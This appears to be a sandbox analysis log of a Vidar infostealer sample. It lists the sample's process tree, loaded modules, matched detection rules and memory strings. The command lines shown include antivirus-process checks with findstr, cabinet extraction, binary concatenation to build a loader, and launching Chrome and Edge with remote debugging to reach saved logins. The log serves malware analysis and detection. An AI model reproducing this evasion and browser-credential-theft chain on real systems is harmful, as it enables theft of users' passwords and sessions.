Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0097E87F	13_2_0097E87F
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00976ADE	13_2_00976ADE
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B2A05	13_2_009B2A05
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009A8BFF	13_2_009A8BFF
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0095CD7A	13_2_0095CD7A
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0096CE10	13_2_0096CE10
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00977159	13_2_00977159
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00949240	13_2_00949240
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009D5311	13_2_009D5311
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009496E0	13_2_009496E0
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00961704	13_2_00961704
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00961A76	13_2_00961A76
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00967B8B	13_2_00967B8B
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00949B60	13_2_00949B60
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00967DBA	13_2_00967DBA
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00961D20	13_2_00961D20
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_00961FE7	13_2_00961FE7

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: String function: 0095FD52 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: String function: 00960DA0 appears 46 times
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: String function: 004062A3 appears 58 times

Source: 25xTHcaF7V.exe

Static PE information: invalid certificate

Source: 25xTHcaF7V.exe, 00000000.00000003.2354612974.0000000000732000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 25xTHcaF7V.exe
Source: 25xTHcaF7V.exe, 00000000.00000002.2356614471.0000000000732000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 25xTHcaF7V.exe

Source: 25xTHcaF7V.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 13.2.Surrey.com.43e0000.2.unpack, type: UNPACKEDPE

Matched rule: infostealer_win_vidar_strings_nov23 author = Sekoia.io, description = Finds Vidar samples based on the specific strings, creation_date = 2023-11-10, classification = TLP:CLEAR, version = 1.0, reference = https://twitter.com/crep1x/status/1722652451319202242, id = b2c17627-f9b8-4401-b657-1cce560edc76

Source: 25xTHcaF7V.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: i5pz5p.13.dr

Binary string: #WriteOfflineHivesTerminateSetupModuleds\security\cryptoapi\cryptosetup\cryptosetup.cDCryptoSetup module terminatedCryptoSetupNewRegistryCallBackCryptoSetup EntropyWrite given invalid event typeCryptoSetup EntropyWrite given invalid event data sizeWriteEntropyToNewRegistryCryptoSetup failed to get Ksecdd entropy %08xRNGCryptoSetup failed to open system hive key %08xExternalEntropyCryptoSetup failed to write entropy into the system hive %08xCryptoSetup failed to close system hive key %08xCryptoSetup succeeded writing entropy key\Device\KsecDDWriteCapiMachineGuidCryptoSetup failed get entropy from ksecdd for CAPI machine guid %08x%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02xCryptoSetup failed to convert CAPI machine guid to string %08xMicrosoft\CryptographyCryptoSetup failed get open/create reg key for CAPI machine guid %08xMachineGuidCryptoSetup failed get write CAPI machine guid %08xCryptoSetup assigned CAPI machine guid "%s"

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@88/309@41/19

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009B41FA GetLastError,FormatMessageW,

13_2_009B41FA

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009A2010 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		13_2_009A2010
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009A1A0B AdjustTokenPrivileges,CloseHandle,		13_2_009A1A0B

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009ADD87 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

13_2_009ADD87

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009B3A0E CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

13_2_009B3A0E

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZRZDXR93\5HIHIFKR.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6700:120:WilError_03

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

File created: C:\Users\user\AppData\Local\Temp\nsyBE7E.tmp

Jump to behavior

Source: 25xTHcaF7V.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000013.00000002.2814868675.0000203400450000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: gdjmozcb1.13.dr, im7gdj5pp.13.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 25xTHcaF7V.exe	Virustotal: Detection: 31%
Source: 25xTHcaF7V.exe	ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

File read: C:\Users\user\Desktop\25xTHcaF7V.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\25xTHcaF7V.exe "C:\Users\user\Desktop\25xTHcaF7V.exe"
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 634977
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gtk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Constitution" Wagon
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\634977\Surrey.com Surrey.com Q
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2312,i,10135865500869867964,659012948287771851,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2372,i,6228530341099286433,11719858513677495840,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6928 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 634977	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gtk	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Constitution" Wagon	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\634977\Surrey.com Surrey.com Q	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2312,i,10135865500869867964,659012948287771851,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2372,i,6228530341099286433,11719858513677495840,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6928 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: mpr.dll	Jump to behavior
